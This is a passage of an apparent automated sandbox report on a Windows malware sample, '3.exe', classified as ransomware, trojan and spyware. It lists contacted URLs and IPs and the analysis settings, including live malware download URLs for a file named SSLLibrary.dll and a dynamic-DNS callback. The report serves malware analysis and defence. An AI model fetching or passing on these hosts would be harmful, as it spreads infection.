http://xianggangcs.oss-accelerate.aliyuncs.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.kanzhun.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Locations	svchost.exe, 00000002.00000002.1397917213.00000220A3857000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.ichuanglan.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ih5.cn/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.netease.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.hichina.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://huadongcs.oss-accelerate.aliyuncs.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1	3.exe, 00000000.00000000.1253675278.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 0000000C.00000003.1399289414.000000000053E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1518200362.0000000007585000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1846828053.0000000002130000.00000004.00001000.00020000.00000000.sdmp, 380BjggdZ.exe.17.dr, ~$cache1.12.dr	false	Avira URL Cloud: safe	unknown
https://dynamic.t	svchost.exe, 00000002.00000003.1390757686.00000220A3871000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.solidot.org/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 00000002.00000002.1397917213.00000220A3857000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.huawei.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/SSLLibrary.dll	3.exe, 00000000.00000000.1253675278.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 0000000C.00000003.1399289414.000000000053E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1518200362.0000000007585000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1846828053.0000000002130000.00000004.00001000.00020000.00000000.sdmp, 380BjggdZ.exe.17.dr, ~$cache1.12.dr	false	Avira URL Cloud: malware	unknown
http://www.youth.cn/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 00000002.00000003.1386466363.00000220A386E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1391161810.00000220A3873000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1398621007.00000220A3874000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1390757686.00000220A3871000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 00000002.00000003.1383407721.00000220A3833000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1397839653.00000220A3855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1385661219.00000220A3851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1390378731.00000220A3862000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1398117333.00000220A3863000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://119.29.29.29/d?dn=	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.yidianzixun.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.xunlei.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 00000002.00000002.1397917213.00000220A3857000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.imiker.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://shanghaics.oss-accelerate.aliyuncs.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ca800.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.bootcss.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.xitongzhijia.net/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ctrip.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xinics.oss-accelerate.aliyuncs.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.7k7k.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jdwx.info/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.yiche.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.i4.cn/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://kl.webzf.top	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp, C2485384.exe, 00000011.00000002.3809025725.0000000007BB2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/SSLLibrary.dl	3.exe, 00000000.00000003.1315804134.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 00000002.00000002.1397554660.00000220A3825000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://lusongsong.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ipo.hk/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xiaoman.cn/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://zhangjiakoucs.oss-accelerate.aliyuncs.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://dcloud.net.cn/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://time-time-bzyrqxranf.cn-shenzhen.fcapp.run	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978t	3.exe, 00000000.00000003.1315804134.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 00000002.00000002.1398265724.00000220A3868000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1389833011.00000220A3867000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1397554660.00000220A3825000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=	3.exe, 00000000.00000003.1315804134.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.chuangkit.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.iqiyi.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.ditu.live.com/REST/v1/Transit/Stops/	svchost.exe, 00000002.00000002.1398814847.00000220A3877000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1385047935.00000220A3875000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.west.cn/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tower.im/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.miguvideo.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=	svchost.exe, 00000002.00000002.1397772793.00000220A3841000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ip138.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	svchost.exe, 00000002.00000003.1390378731.00000220A3862000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1398117333.00000220A3863000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.usercontent.google.com/	Synaptics.exe, 0000000C.00000002.1824235333.00000000005A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1925524560.000000000F925000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.hudong.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://huanancs.oss-accelerate.aliyuncs.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.9game.cn/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://182.254.116.116/d?dn=	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=	svchost.exe, 00000002.00000002.1397772793.00000220A3841000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://115.com/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.kafan.cn/	._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/uc?id=0;	Synaptics.exe, 0000000C.00000002.1900953740.000000000C0FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1932759856.0000000011C3E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1892533175.00000000088BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1948819398.000000001457E000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
163.181.130.181	www.1688.com.danuoyi.tbcache.com	United States	24429	TAOBAOZhejiangTaobaoNetworkCoLtdCN	false
163.181.130.180	unknown	United States	24429	TAOBAOZhejiangTaobaoNetworkCoLtdCN	false
45.194.34.247	g8450a5.usallient81.jiasula.vip	Seychelles	328608	Africa-on-Cloud-ASZA	false
103.235.47.188	unknown	Hong Kong	55967	BAIDUBeijingBaiduNetcomScienceandTechnologyCoLtd	false
161.117.242.93	ap-southeast-1-ds-2089.oss-acc.aliyuncs.com	Singapore	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
119.28.109.132	www.sogou.com	China	132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	false
47.94.225.221	www.jmw.com.cn	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
47.246.46.229	unknown	United States	24429	TAOBAOZhejiangTaobaoNetworkCoLtdCN	false
111.124.200.101	youdao.com	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
43.152.143.134	dc3ee476.ovslegodl-dk.sched.ovscdns.com	Japan	4249	LILLY-ASUS	false
113.219.142.35	opencdnka.jomodns.com	China	63838	CT-HUNAN-HENGYANG-IDCHengyangCN	false
43.159.119.252	www.tencent.com.acc.edgeonedy1.com	Japan	4249	LILLY-ASUS	false
142.250.185.65	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
47.88.251.189	xjp-adns.aliyun.com.vipgds.alibabadns.com	United States	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
43.132.73.61	www.qq.com.eo.dnse2.com	Japan	4249	LILLY-ASUS	false
163.181.130.191	www.douyin.com.queniuyk.com	United States	24429	TAOBAOZhejiangTaobaoNetworkCoLtdCN	false
163.181.42.240	unknown	United States	24429	TAOBAOZhejiangTaobaoNetworkCoLtdCN	false
27.221.16.149	sinacloud.net	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
221.204.61.35	opencdnqczjv6.jomodns.com	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
43.152.186.103	unknown	Japan	4249	LILLY-ASUS	false
43.159.71.118	qt0t6l4k.e0.sched.ovscdns.com	Japan	4249	LILLY-ASUS	false
104.192.110.226	so.seos-lb.com	United States	55992	QIHOOBeijingQihuTechnologyCompanyLimitedCN	false
163.171.132.119	jd-abroad.cdn20.com	European Union	54994	QUANTILNETWORKSUS	false
163.181.201.238	unknown	United States	24429	TAOBAOZhejiangTaobaoNetworkCoLtdCN	false
27.221.16.179	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
103.107.217.26	multi-az-www-api.kuaishou.com	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
103.235.46.98	hao123.n.shifen.com	Hong Kong	55967	BAIDUBeijingBaiduNetcomScienceandTechnologyCoLtd	false
103.235.46.96	www.wshifen.com	Hong Kong	55967	BAIDUBeijingBaiduNetcomScienceandTechnologyCoLtd	false
163.181.201.237	ww1.sinaimg.cn.w.alikunlun.com	United States	24429	TAOBAOZhejiangTaobaoNetworkCoLtdCN	false
163.181.201.231	unknown	United States	24429	TAOBAOZhejiangTaobaoNetworkCoLtdCN	false
13.107.246.60	s-part-0032.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
69.42.215.252	freedns.afraid.org	United States	17048	AWKNET-LLCUS	true
163.171.208.133	www.cctv.com.wsglb0.com	European Union	54994	QUANTILNETWORKSUS	false
81.70.163.227	abc.vpzzz.com	China	45090	CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa	false
49.51.65.181	sh2.general.proxy.sogou.com	China	132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	false
43.154.222.70	kl.webzf.top	Japan	4249	LILLY-ASUS	false
47.254.187.186	eu-central-1-ds-2088.oss-acc.aliyuncs.com	United States	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
123.125.23.91	lb.sinacloud.com	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
103.102.202.144	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
142.250.185.174	docs.google.com	United States	15169	GOOGLEUS	false
49.51.130.237	unknown	China	132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	false
120.26.110.170	foodmate.net	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1487925
Start date and time:	2024-08-05 11:59:14 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	39
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	3.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winEXE@38/86@124/43
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 80% Number of executed functions: 72 Number of non-executed functions: 119
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, audiodg.exe, RuntimeBroker.exe, ShellExperienceHost.exe, WMIADAP.exe, SIHClient.exe, MoUsoCoreWorker.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 20.101.57.9, 52.109.76.240, 184.28.90.27, 52.113.194.132, 20.190.160.20, 20.190.160.17, 20.190.160.22, 40.126.32.134, 40.126.32.136, 40.126.32.140, 40.126.32.138, 20.190.160.14, 93.184.221.240, 20.42.65.89, 23.52.40.72, 23.52.40.67, 2.18.64.15, 2.18.64.26, 13.89.179.12, 23.55.48.144, 23.55.48.134
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, twc.trafficmanager.net, otelrules.afd.azureedge.net, onedsblobprdcus17.centralus.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, wu.azureedge.net, ecs-office.s-0005.s-msedge.net, login.live.com, e16604.g.akamaiedge.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, hlb.apr-52dd2-0.edgecastdns.net, officeclient.microsoft.com, iqiyi.com.edgekey.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, ecs.office.com, self-events-data.trafficmanager.net, prdv4a.aadg.msidentity.com, fs.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, otelrules.azureedge.net, prod.configsvc1.live.com.akadns.net, www.tm.v4.a.prd.aadg.akadns.net, wu.ec.azureedge.net, self.events.data.microsoft.com, www.iqiyiweb.akadns.net, ctldl.windowsupdate.com, s-0005-office.config.skype.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, neu-azsc-config.off
Execution Graph export aborted for target Synaptics.exe, PID 7476 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
